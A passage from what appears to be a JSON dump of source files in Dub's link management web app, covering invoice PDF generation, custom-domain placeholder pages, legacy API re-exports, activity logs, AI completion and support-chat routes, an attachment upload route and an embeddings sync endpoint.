}\n\n  if (payout.mode === \"external\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This payout is made externally, hence no invoice is generated.\",\n    });\n  }\n\n  const invoiceMetadata = [\n    {\n      label: \"Program\",\n      value: (\n        <View style={tw(\"flex-row items-center gap-2\")}>\n          {payout.program.logo && (\n            <Image\n              src={payout.program.logo}\n              style={tw(\"w-5 h-5 rounded-full\")}\n            />\n          )}\n          <Text>{payout.program.name}</Text>\n        </View>\n      ),\n    },\n    ...(payout.paidAt\n      ? [\n          {\n            label: \"Payout date\",\n            value: (\n              <Text style={tw(\"text-neutral-800 w-2/3\")}>\n                {formatDate(payout.paidAt, { month: \"short\", year: \"numeric\" })}\n              </Text>\n            ),\n          },\n        ]\n      : []),\n    ...(payout.periodStart && payout.periodEnd\n      ? [\n          {\n            label: \"Payout period\",\n            value: (\n              <Text style={tw(\"text-neutral-800 w-2/3\")}>\n                {`${formatDate(payout.periodStart, {\n                  month: \"short\",\n                  year: \"numeric\",\n                })} - ${formatDate(payout.periodEnd, { month: \"short\" })}`}\n              </Text>\n            ),\n          },\n        ]\n      : []),\n    {\n      label: \"Payout amount\",\n      value: (\n        <Text style={tw(\"text-neutral-800 w-2/3\")}>\n          {currencyFormatter(payout.amount)}\n        </Text>\n      ),\n    },\n    ...(payout.method === \"stablecoin\"\n      ? [\n          {\n            label: \"Stablecoin payout fee\",\n            value: (\n              <Text style={tw(\"text-neutral-800 w-2/3\")}>\n                {currencyFormatter(payout.amount * STABLECOIN_PAYOUT_FEE_RATE)}\n              </Text>\n            ),\n          },\n        ]\n      : []),\n    {\n      label: \"Payout reference number\",\n      value: <Text style={tw(\"text-neutral-800 w-2/3\")}>{payout.id}</Text>,\n    },\n    ...(payout.description\n      ? [\n          {\n            label: \"Description\",\n            value: (\n              <Text style={tw(\"text-neutral-800 w-2/3\")}>\n                {payout.description}\n              </Text>\n            ),\n          },\n        ]\n      : []),\n    ...(partner.country &&\n    (EU_COUNTRY_CODES.includes(partner.country) || partner.country === \"AU\")\n      ? [\n          {\n            label: `${partner.country === \"AU\" ? \"GST\" : \"VAT\"} reverse charge`,\n            value: (\n              <Text style={tw(\"text-neutral-800 w-2/3\")}>\n                Tax to be paid on reverse charge basis.\n              </Text>\n            ),\n          },\n        ]\n      : []),\n  ];\n\n  const invoiceDate = payout.paidAt\n    ? formatDate(payout.paidAt, {\n        month: \"short\",\n        day: \"numeric\",\n        year: \"numeric\",\n      })\n    : formatDate(new Date(), {\n        month: \"short\",\n        day: \"numeric\",\n        year: \"numeric\",\n      });\n\n  const pdf = await renderToBuffer(\n    <Document>\n      <Page size=\"A4\" style={tw(\"p-20 bg-white flex flex-col min-h-full\")}>\n        {/* Header */}\n        <View style={tw(\"flex-row justify-between items-start mb-6\")}>\n          <Image src={DUB_WORDMARK} style={tw(\"w-20 h-10 mb-2\")} />\n          <View style={tw(\"text-right\")}>\n            <Text style={tw(\"text-sm font-medium text-neutral-800 leading-6\")}>\n              Dub Technologies INC\n            </Text>\n            <Text style={tw(\"text-sm text-neutral-500 leading-6\")}>\n              2261 Market Street STE 5906\n            </Text>\n            <Text style={tw(\"text-sm text-neutral-500 leading-6\")}>\n              San Francisco, CA 94114\n            </Text>\n            <Text style={tw(\"text-sm text-neutral-500 leading-6\")}>\n              Tax ID: US EIN {process.env.DUB_EIN}\n            </Text>\n            <Text style={tw(\"text-sm text-neutral-800 leading-6\")}>\n              Invoice Number: <Text style={tw(\"font-bold\")}>{payout.id}</Text>\n            </Text>\n            <Text style={tw(\"text-sm text-neutral-800 leading-6\")}>\n              Invoice Date: <Text style={tw(\"font-bold\")}>{invoiceDate}</Text>\n            </Text>\n          </View>\n        </View>\n        {/* Divider */}\n        <View style={tw(\"h-0.5 bg-neutral-200 mb-6\")} />\n\n        {(partner.companyName ||\n          partner.invoiceSettings?.address ||\n          partner.invoiceSettings?.taxId) && (\n          <>\n            {/* Payee Section */}\n            <View style={tw(\"mb-6\")}>\n              <Text style={tw(\"text-base font-bold text-neutral-900 mb-2\")}>\n                Payee Details\n              </Text>\n              <Text style={tw(\"text-sm text-neutral-800 leading-6\")}>\n                {partner.companyName || \"-\"}\n              </Text>\n              {partner.invoiceSettings?.address && (\n                <Text style={tw(\"text-sm text-neutral-500 leading-6\")}>\n                  {partner.invoiceSettings.address}\n                </Text>\n              )}\n              {partner.invoiceSettings?.taxId && (\n                <Text style={tw(\"text-sm text-neutral-800\")}>\n                  Tax ID: {partner.invoiceSettings.taxId}\n                </Text>\n              )}\n            </View>\n            {/* Divider */}\n            <View style={tw(\"h-0.5 bg-neutral-200 mb-6\")} />\n          </>\n        )}\n\n        {/* Invoice Details Section */}\n        <Text style={tw(\"text-base font-bold text-neutral-900 mb-4\")}>\n          Invoice Details\n        </Text>\n        <View style={tw(\"flex-col gap-4 text-sm font-medium mb-10\")}>\n          {invoiceMetadata.map((row) => (\n            <View style={tw(\"flex-row mb-1\")} key={row.label}>\n              <Text style={tw(\"text-neutral-500 w-1/3\")}>{row.label}</Text>\n              {row.value}\n            </View>\n          ))}\n        </View>\n        {/* Divider */}\n        <View style={tw(\"h-0.5 bg-neutral-200 mb-6\")} />\n\n        {/* Footer */}\n        {payout.program.supportEmail && (\n          <Text style={tw(\"text-sm text-neutral-600 mt-auto\")}>\n            If you have any questions, contact the program at{\" \"}\n            <Link\n              href={`mailto:${payout.program.supportEmail}`}\n              style={tw(\"text-neutral-900\")}\n            >\n              {payout.program.supportEmail}\n            </Link>\n          </Text>\n        )}\n      </Page>\n    </Document>,\n  );\n\n  return new Response(new Uint8Array(pdf), {\n    headers: {\n      \"Content-Type\": \"application/pdf\",\n      \"Content-Disposition\": `inline; filename=\"payout-invoice-${payout.id}.pdf\"`,\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/layout.tsx",
    "content": "\"use client\";\n\nimport { SessionProvider } from \"next-auth/react\";\nimport { ReactNode, Suspense } from \"react\";\n\nexport default function PartnersLayout({ children }: { children: ReactNode }) {\n  return (\n    <SessionProvider>\n      <Suspense>{children}</Suspense>\n    </SessionProvider>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/[domain]/browser-graphic.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\n\nexport function BrowserGraphic({ domain }: { domain: string }) {\n  return (\n    <div className=\"w-full p-1 [mask-image:linear-gradient(black_50%,transparent_90%)]\">\n      <div className=\"w-full rounded-t-lg border border-neutral-300 ring ring-black/5\">\n        <div className=\"flex items-center justify-between gap-4 rounded-t-[inherit] bg-white px-5 py-3\">\n          <div className=\"hidden grow basis-0 items-center gap-2 sm:flex\">\n            {[\"bg-red-400\", \"bg-yellow-400\", \"bg-green-400\"].map((c) => (\n              <div\n                key={c}\n                className={cn(\n                  \"size-[11px] rounded-full border border-black/10\",\n                  c,\n                )}\n              />\n            ))}\n          </div>\n          <div className=\"relative min-w-0 grow truncate rounded-lg bg-[radial-gradient(60%_80%_at_50%_0%,#ddd,#f5f5f5)] px-4 py-2 text-sm font-medium leading-none\">\n            <div className=\"absolute inset-x-0 top-0 h-px bg-[linear-gradient(90deg,transparent,#0001,transparent)]\" />\n            {domain}\n          </div>\n          <div className=\"hidden grow basis-0 sm:block\" />\n        </div>\n        <div className=\"h-12 border-t border-neutral-200 bg-neutral-100/50\" />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/[domain]/layout.tsx",
    "content": "import { Footer, Nav, NavMobile } from \"@dub/ui\";\n\nexport default function CustomDomainLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <div className=\"flex min-h-screen flex-col justify-between bg-neutral-50/80\">\n      <NavMobile />\n      <Nav maxWidthWrapperClassName=\"max-w-screen-lg lg:px-4 xl:px-0\" />\n      {children}\n      <Footer className=\"max-w-screen-lg border-0 bg-transparent lg:px-4 xl:px-0\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/[domain]/not-found/page.tsx",
    "content": "import { BubbleIcon } from \"@/ui/placeholders/bubble-icon\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { CTA } from \"@/ui/placeholders/cta\";\nimport { FeaturesSection } from \"@/ui/placeholders/features-section\";\nimport { Hero } from \"@/ui/placeholders/hero\";\nimport { GlobeSearch } from \"@dub/ui\";\nimport { cn, constructMetadata, createHref } from \"@dub/utils\";\n\nexport const revalidate = false; // cache indefinitely\n\nexport const metadata = constructMetadata({\n  title: \"Link Not Found\",\n  description:\n    \"This link does not exist on Dub. Please check the URL and try again.\",\n  image: \"https://assets.dub.co/misc/notfoundlink.jpg\",\n  noIndex: true,\n});\n\nconst UTM_PARAMS = {\n  utm_source: \"Link Not Found\",\n  utm_medium: \"Link Not Found Page\",\n};\n\nexport default async function NotFoundLinkPage(props: {\n  params: Promise<{ domain: string }>;\n}) {\n  const params = await props.params;\n  return (\n    <main className=\"flex min-h-screen flex-col justify-between\">\n      <Hero>\n        <div className=\"relative mx-auto flex w-full max-w-md flex-col items-center\">\n          <BubbleIcon>\n            <GlobeSearch className=\"size-12\" />\n          </BubbleIcon>\n          <h1\n            className={cn(\n              \"font-display mt-10 text-center text-4xl font-medium text-neutral-900 sm:text-5xl sm:leading-[1.15]\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:20px] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            Link not found\n          </h1>\n          <p\n            className={cn(\n              \"mt-5 text-pretty text-base text-neutral-700 sm:text-xl\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:200ms] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            This link does not exist on Dub. Please check the URL and try again.\n          </p>\n        </div>\n\n        <div\n          className={cn(\n            \"xs:flex-row relative mx-auto mt-8 flex max-w-fit flex-col items-center gap-4\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:5px] [animation-delay:300ms] [animation-duration:1s] [animation-fill-mode:both]\",\n          )}\n        >\n          <ButtonLink variant=\"primary\" href=\"https://app.dub.co/register\">\n            Try Dub today\n          </ButtonLink>\n          <ButtonLink\n            variant=\"secondary\"\n            href={createHref(\"/\", params.domain, {\n              ...UTM_PARAMS,\n              utm_campaign: params.domain,\n              utm_content: \"Learn more\",\n            })}\n          >\n            Learn more\n          </ButtonLink>\n        </div>\n      </Hero>\n      <div className=\"mt-20\">\n        <FeaturesSection domain={params.domain} utmParams={UTM_PARAMS} />\n      </div>\n      <div className=\"mt-32\">\n        <CTA domain={params.domain} utmParams={UTM_PARAMS} />\n      </div>\n    </main>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/[domain]/page.tsx",
    "content": "import { constructMetadata } from \"@dub/utils\";\nimport PlaceholderContent from \"./placeholder\";\n\nexport const revalidate = false; // cache indefinitely\n\nexport async function generateMetadata(props: {\n  params: Promise<{ domain: string }>;\n}) {\n  const params = await props.params;\n  const title = `${params.domain.toUpperCase()} - A ${\n    process.env.NEXT_PUBLIC_APP_NAME\n  } Custom Domain`;\n  const description = `${params.domain.toUpperCase()} is a custom domain on ${\n    process.env.NEXT_PUBLIC_APP_NAME\n  } - an open-source link management tool for modern marketing teams to create, share, and track short links.`;\n\n  return constructMetadata({\n    title,\n    description,\n  });\n}\n\nexport default function CustomDomainPage() {\n  return <PlaceholderContent />;\n}\n"
  },
  {
    "path": "apps/web/app/[domain]/placeholder.tsx",
    "content": "\"use client\";\n\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { CTA } from \"@/ui/placeholders/cta\";\nimport { FeaturesSection } from \"@/ui/placeholders/features-section\";\nimport { Hero } from \"@/ui/placeholders/hero\";\nimport { Logo } from \"@dub/ui\";\nimport { cn, createHref } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport { BubbleIcon } from \"../../ui/placeholders/bubble-icon\";\nimport { BrowserGraphic } from \"./browser-graphic\";\n\nconst UTM_PARAMS = {\n  utm_source: \"Custom Domain\",\n  utm_medium: \"Welcome Page\",\n};\n\nexport default function PlaceholderContent() {\n  const { domain } = useParams() as { domain: string };\n\n  return (\n    <div>\n      <Hero>\n        <div className=\"relative mx-auto flex w-full max-w-xl flex-col items-center\">\n          <BubbleIcon>\n            <Logo className=\"size-10\" />\n          </BubbleIcon>\n          <div className=\"mt-16 w-full\">\n            <BrowserGraphic domain={domain} />\n          </div>\n          <h1\n            className={cn(\n              \"font-display mt-2 text-center text-4xl font-medium text-neutral-900 sm:text-5xl sm:leading-[1.15]\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:20px] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            Welcome to Dub\n          </h1>\n          <p\n            className={cn(\n              \"mt-5 text-balance text-base text-neutral-700 sm:text-xl\",\n              \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:200ms] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            This custom domain is powered by Dub &ndash; the link management\n            platform designed for modern marketing teams.\n          </p>\n        </div>\n\n        <div\n          className={cn(\n            \"xs:flex-row relative mx-auto mt-8 flex max-w-fit flex-col items-center gap-4\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:5px] [animation-delay:300ms] [animation-duration:1s] [animation-fill-mode:both]\",\n          )}\n        >\n          <ButtonLink variant=\"primary\" href=\"https://app.dub.co/register\">\n            Try Dub today\n          </ButtonLink>\n          <ButtonLink\n            variant=\"secondary\"\n            href={createHref(\"/links\", domain, {\n              ...UTM_PARAMS,\n              utm_campaign: domain,\n              utm_content: \"Learn more\",\n            })}\n          >\n            Learn more\n          </ButtonLink>\n        </div>\n      </Hero>\n      <div className=\"mt-20\">\n        <FeaturesSection domain={domain} utmParams={UTM_PARAMS} />\n      </div>\n      <div className=\"mt-32\">\n        <CTA domain={domain} utmParams={UTM_PARAMS} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/[domain]/stats/[key]/page.tsx",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\n\nexport default async function OldStatsPage(props: {\n  params: Promise<{ domain: string; key: string }>;\n}) {\n  const params = await props.params;\n  const link = await prisma.link.findUnique({\n    where: {\n      domain_key: {\n        domain: params.domain,\n        key: params.key,\n      },\n    },\n    select: {\n      dashboard: true,\n    },\n  });\n\n  if (!link?.dashboard) {\n    redirect(\"/\");\n  }\n\n  redirect(`${APP_DOMAIN}/share/${link.dashboard.id}`);\n}\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/domains/[domain]/route.ts",
    "content": "export * from \"../../../../../domains/[domain]/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/domains/[domain]/verify/route.ts",
    "content": "export * from \"../../../../../../domains/[domain]/verify/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/domains/default/route.ts",
    "content": "export * from \"../../../../../domains/default/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/domains/route.ts",
    "content": "export * from \"../../../../domains/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/links/[linkId]/route.ts",
    "content": "export * from \"../../../../../links/[linkId]/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/links/bulk/route.ts",
    "content": "export * from \"../../../../../links/bulk/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/links/count/route.ts",
    "content": "export * from \"../../../../../links/count/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/links/info/route.ts",
    "content": "export * from \"../../../../../links/info/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/links/random/route.ts",
    "content": "export * from \"../../../../../links/random/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/links/route.ts",
    "content": "export * from \"../../../../links/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/route.ts",
    "content": "export * from \"../../../workspaces/[idOrSlug]/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/tags/[id]/route.ts",
    "content": "export * from \"../../../../../tags/[id]/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/[slug]/tags/route.ts",
    "content": "export * from \"../../../../tags/route\";\n"
  },
  {
    "path": "apps/web/app/api/(old)/projects/route.ts",
    "content": "export * from \"../../workspaces/route\";\n"
  },
  {
    "path": "apps/web/app/api/activity-logs/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  activityLogSchema,\n  getActivityLogsQuerySchema,\n} from \"@/lib/zod/schemas/activity-log\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\n// GET /api/activity-logs – get activity logs for a resource\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const { resourceType, resourceId, parentResourceId, action } =\n    getActivityLogsQuerySchema.parse(searchParams);\n\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const activityLogs = await prisma.activityLog.findMany({\n    where: {\n      programId,\n      resourceType,\n      resourceId,\n      parentResourceId,\n      action,\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n    take: 100,\n    include: {\n      user: true,\n    },\n  });\n\n  const parsedActivityLogs = z.array(activityLogSchema).parse(activityLogs);\n\n  // polyfill first group change activity log based on program enrollment creation date\n  if (resourceType === \"partner\" && resourceId) {\n    const programEnrollment = await prisma.programEnrollment.findUnique({\n      where: {\n        partnerId_programId: {\n          partnerId: resourceId,\n          programId,\n        },\n      },\n      select: {\n        createdAt: true,\n        groupId: true,\n        partnerGroup: {\n          select: {\n            name: true,\n          },\n        },\n      },\n    });\n    if (programEnrollment) {\n      parsedActivityLogs.push({\n        id: uuid(),\n        action: \"partner.groupChanged\",\n        description: null,\n        createdAt: programEnrollment.createdAt,\n        user: null,\n        changeSet: {\n          group: {\n            old: null,\n            new: parsedActivityLogs[parsedActivityLogs.length - 1]?.changeSet\n              ?.group.old ?? {\n              id: programEnrollment.groupId,\n              name: programEnrollment.partnerGroup?.name,\n            },\n          },\n        },\n      });\n    }\n  }\n\n  return NextResponse.json(parsedActivityLogs);\n});\n"
  },
  {
    "path": "apps/web/app/api/ai/completion/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { throwIfAIUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { anthropic } from \"@ai-sdk/anthropic\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { streamText } from \"ai\";\nimport * as z from \"zod/v4\";\n\nconst completionSchema = z.object({\n  prompt: z.string(),\n  model: z\n    .enum([\"claude-3-5-haiku-latest\", \"claude-sonnet-4-20250514\"])\n    .optional()\n    .default(\"claude-sonnet-4-20250514\"),\n});\n\n// POST /api/ai/completion – Generate AI completion\nexport const POST = withWorkspace(async ({ req, workspace }) => {\n  try {\n    const {\n      // comment for better diff\n      prompt,\n      model,\n    } = completionSchema.parse(await req.json());\n\n    throwIfAIUsageExceeded(workspace);\n\n    const result = streamText({\n      model: anthropic(model),\n      messages: [\n        {\n          role: \"user\",\n          content: prompt,\n        },\n      ],\n      maxOutputTokens: 300,\n    });\n\n    // only count usage for the sonnet model\n    if (model === \"claude-sonnet-4-20250514\") {\n      waitUntil(\n        prisma.project.update({\n          where: { id: normalizeWorkspaceId(workspace.id) },\n          data: {\n            aiUsage: {\n              increment: 1,\n            },\n          },\n        }),\n      );\n    }\n\n    return result.toTextStreamResponse();\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n});\n"
  },
  {
    "path": "apps/web/app/api/ai/support-chat/route.ts",
    "content": "import {\n  buildSystemPrompt,\n  GlobalChatContext,\n} from \"@/lib/ai/build-system-prompt\";\nimport { createSupportTicketTool } from \"@/lib/ai/create-support-ticket\";\nimport { findRelevantDocsTool } from \"@/lib/ai/find-relevant-docs\";\nimport { getProgramPerformanceTool } from \"@/lib/ai/get-program-performance\";\nimport { getWorkspaceDetailsTool } from \"@/lib/ai/get-workspace-details\";\nimport { requestSupportTicketTool } from \"@/lib/ai/request-support-ticket\";\nimport { withSession } from \"@/lib/auth\";\nimport { ratelimit } from \"@/lib/upstash/ratelimit\";\nimport { anthropic } from \"@ai-sdk/anthropic\";\nimport { convertToModelMessages, stepCountIs, streamText, UIMessage } from \"ai\";\n\nexport const POST = withSession(async ({ req, session }) => {\n  const body = await req.json();\n  const { messages, globalContext } = body as {\n    messages: UIMessage[];\n    globalContext?: GlobalChatContext;\n  };\n\n  const MAX_ATTACHMENTS = 5;\n  const MAX_ATTACHMENT_ID_LENGTH = 128;\n  const rawAttachmentIds = body.attachmentIds;\n  if (rawAttachmentIds !== undefined) {\n    if (\n      !Array.isArray(rawAttachmentIds) ||\n      rawAttachmentIds.length > MAX_ATTACHMENTS ||\n      rawAttachmentIds.some(\n        (id) => typeof id !== \"string\" || id.length > MAX_ATTACHMENT_ID_LENGTH,\n      )\n    ) {\n      return new Response(\"Invalid attachmentIds\", { status: 400 });\n    }\n  }\n  const attachmentIds: string[] | undefined = rawAttachmentIds;\n\n  if (\n    body.ticketDetails !== undefined &&\n    typeof body.ticketDetails !== \"string\"\n  ) {\n    return new Response(\"Invalid ticketDetails\", { status: 400 });\n  }\n  const ticketDetails: string | undefined = body.ticketDetails?.slice(0, 4982);\n\n  const { success } = await ratelimit(5, \"30 s\").limit(\n    `support-chat:${session.user.id}`,\n  );\n  if (!success) {\n    return new Response(\"Don't DDoS me pls 🥺\", { status: 429 });\n  }\n\n  const result = streamText({\n    model: anthropic(\"claude-sonnet-4-20250514\"),\n    system: buildSystemPrompt(globalContext),\n    messages: await convertToModelMessages(messages),\n    stopWhen: stepCountIs(5),\n    tools: {\n      findRelevantDocs: findRelevantDocsTool,\n      getProgramPerformance: getProgramPerformanceTool,\n      getWorkspaceDetails: getWorkspaceDetailsTool,\n      requestSupportTicket: requestSupportTicketTool,\n      createSupportTicket: createSupportTicketTool({\n        session,\n        messages: messages.map((msg) => ({\n          role: msg.role,\n          parts: \"parts\" in msg ? msg.parts : [],\n        })),\n        globalContext: globalContext || {},\n        attachmentIds,\n        ticketDetails,\n      }),\n    },\n  });\n\n  return result.toUIMessageStreamResponse();\n});\n"
  },
  {
    "path": "apps/web/app/api/ai/support-chat/upload/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { plain } from \"@/lib/plain/client\";\nimport { upsertPlainCustomer } from \"@/lib/plain/upsert-plain-customer\";\nimport { AttachmentType } from \"@team-plain/typescript-sdk\";\n\nconst MAX_UPLOAD_SIZE_BYTES = 10 * 1024 * 1024;\nconst MAX_FILE_NAME_LENGTH = 255;\n\nconst ACCEPTED_EXTENSIONS = new Set([\n  \".png\",\n  \".jpg\",\n  \".jpeg\",\n  \".gif\",\n  \".webp\",\n  \".pdf\",\n  \".txt\",\n  \".csv\",\n]);\n\n// POST /api/ai/support-chat/upload\n// Generates a Plain attachment upload URL for the authenticated user.\n// The client uses the returned URL + form fields to POST the file directly\n// to Plain's storage (no file data passes through this server).\nexport const POST = withSession(async ({ req, session }) => {\n  if (!session.user.email) {\n    return new Response(\"User email is required\", { status: 400 });\n  }\n\n  let fileName: string;\n  let fileSizeBytes: number;\n  try {\n    ({ fileName, fileSizeBytes } = await req.json());\n  } catch {\n    return new Response(\"Invalid JSON body\", { status: 400 });\n  }\n\n  if (\n    !fileName ||\n    typeof fileName !== \"string\" ||\n    fileName.length > MAX_FILE_NAME_LENGTH ||\n    // Reject path traversal and null bytes\n    fileName.includes(\"..\") ||\n    fileName.includes(\"/\") ||\n    fileName.includes(\"\\0\")\n  ) {\n    return new Response(\"Invalid fileName\", { status: 400 });\n  }\n\n  if (\n    typeof fileSizeBytes !== \"number\" ||\n    fileSizeBytes <= 0 ||\n    fileSizeBytes > MAX_UPLOAD_SIZE_BYTES\n  ) {\n    return new Response(\n      `Invalid fileSizeBytes: must be between 1 and ${MAX_UPLOAD_SIZE_BYTES} bytes`,\n      { status: 400 },\n    );\n  }\n\n  const ext = fileName.slice(fileName.lastIndexOf(\".\")).toLowerCase();\n  if (!ext || !ACCEPTED_EXTENSIONS.has(ext)) {\n    return new Response(\n      `Unsupported file type. Accepted: ${[...ACCEPTED_EXTENSIONS].join(\", \")}`,\n      { status: 400 },\n    );\n  }\n\n  // Ensure the Plain customer exists and get their Plain-scoped ID\n  const { data: customerData, error: customerError } =\n    await upsertPlainCustomer({\n      id: session.user.id,\n      name: session.user.name ?? \"\",\n      email: session.user.email,\n    });\n\n  if (customerError || !customerData) {\n    console.error(\"Failed to upsert Plain customer:\", customerError);\n    return new Response(\"Failed to resolve support customer\", { status: 500 });\n  }\n\n  const { data, error } = await plain.createAttachmentUploadUrl({\n    attachmentType: AttachmentType.CustomTimelineEntry,\n    customerId: customerData.customer.id,\n    fileName,\n    fileSizeBytes,\n  });\n\n  if (error || !data) {\n    console.error(\"Failed to create Plain attachment upload URL:\", error);\n    return new Response(\"Failed to create upload URL\", { status: 500 });\n  }\n\n  const { attachment, uploadFormUrl, uploadFormData } = data;\n\n  return Response.json({\n    attachmentId: attachment.id,\n    uploadFormUrl,\n    // Key-value pairs the client appends to the multipart FormData before POSTing\n    uploadFormData,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/api/ai/sync-embeddings/fetch-plausible-pageviews.ts",
    "content": "/**\n * Fetch per-page pageview counts from Plausible for the last 12 months.\n * Returns a map of pathname → pageview count.\n */\nexport async function fetchPlausiblePageviews(): Promise<Map<string, number>> {\n  const apiKey = process.env.PLAUSIBLE_API_KEY;\n  if (!apiKey) {\n    console.warn(\"PLAUSIBLE_API_KEY not set - pageviews will be stored as 0\");\n    return new Map();\n  }\n\n  try {\n    const res = await fetch(\"https://plausible.io/api/v2/query\", {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${apiKey}`,\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        site_id: \"dub.co\",\n        metrics: [\"pageviews\"],\n        date_range: \"12mo\",\n        dimensions: [\"event:page\"],\n        filters: [\n          [\n            \"or\",\n            [\n              [\"contains\", \"event:page\", [\"/docs\"]],\n              [\"contains\", \"event:page\", [\"/help\"]],\n            ],\n          ],\n        ],\n      }),\n    });\n\n    if (!res.ok) {\n      console.warn(`Plausible API error ${res.status}: ${await res.text()}`);\n      return new Map();\n    }\n\n    const data = await res.json();\n    const map = new Map<string, number>();\n\n    for (const row of data.results ?? []) {\n      const page: string = row.dimensions?.[0];\n      const pageviews: number = row.metrics?.[0];\n\n      if (typeof page === \"string\" && typeof pageviews === \"number\") {\n        map.set(page, pageviews);\n      }\n    }\n\n    return map;\n  } catch (err) {\n    console.warn(\"Failed to fetch Plausible pageviews:\", err);\n    return new Map();\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/ai/sync-embeddings/route.ts",
    "content": "import { upsertDocsEmbeddings } from \"@/lib/ai/upsert-docs-embedding\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  url: z.url().refine(\n    (val) => {\n      try {\n        const { protocol, hostname, pathname } = new URL(val);\n        return (\n          protocol === \"https:\" &&\n          [\"dub.co\", \"www.dub.co\"].includes(hostname) &&\n          [\"/docs/\", \"/help/\"].some((p) => pathname.startsWith(p))\n        );\n      } catch {\n        return false;\n      }\n    },\n    { message: \"URL must be a dub.co/docs or dub.co/help URL\" },\n  ),\n  delay: z.number().positive().optional(),\n});\n\n// POST /api/ai/sync-embeddings\n// Triggers re-embedding of a single docs/help article.\n// Called by the docs GitHub Action when a .mdx file changes.\n//\n// Auth: Authorization: Bearer <EMBEDDING_SYNC_SECRET>\n// Body: { url: string; delay?: number }\nexport const POST = async (req: Request) => {\n  const authHeader = req.headers.get(\"Authorization\");\n  const secret = process.env.EMBEDDING_SYNC_SECRET;\n\n  if (!secret || authHeader !== `Bearer ${secret}`) {\n    return new Response(\"Unauthorized\", { status: 401 });\n  }\n\n  try {\n    const body = await req.json().catch(() => {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Invalid JSON body.\",\n      });\n    });\n    const { url, delay } = schema.parse(body);\n    const normalizedUrl = new URL(url).toString();\n\n    if (delay !== undefined) {\n      const response = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/ai/sync-embeddings`,\n        method: \"POST\",\n        delay,\n        headers: { Authorization: `Bearer ${secret}` },\n        body: { url: normalizedUrl },\n      });\n\n      return Response.json({\n        scheduled: true,\n        url: normalizedUrl,\n        delay,\n        messageId: response.messageId,\n      });\n    }\n\n    // const pageviewsMap = await fetchPlausiblePageviews();\n    const result = await upsertDocsEmbeddings(\n      normalizedUrl,\n      // pageviewsMap // TODO: add pageviewsMap back in once we support it\n    );\n    return Response.json({ success: true, url: normalizedUrl, ...result });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n};\n"
  },
  {
    "path": "apps/web/app/api/analytics/[eventType]/[endpoint]/route.ts",
    "content": "export * from \"../../route\";\n"
  },
  {
    "path": "apps/web/app/api/analytics/[eventType]/route.ts",
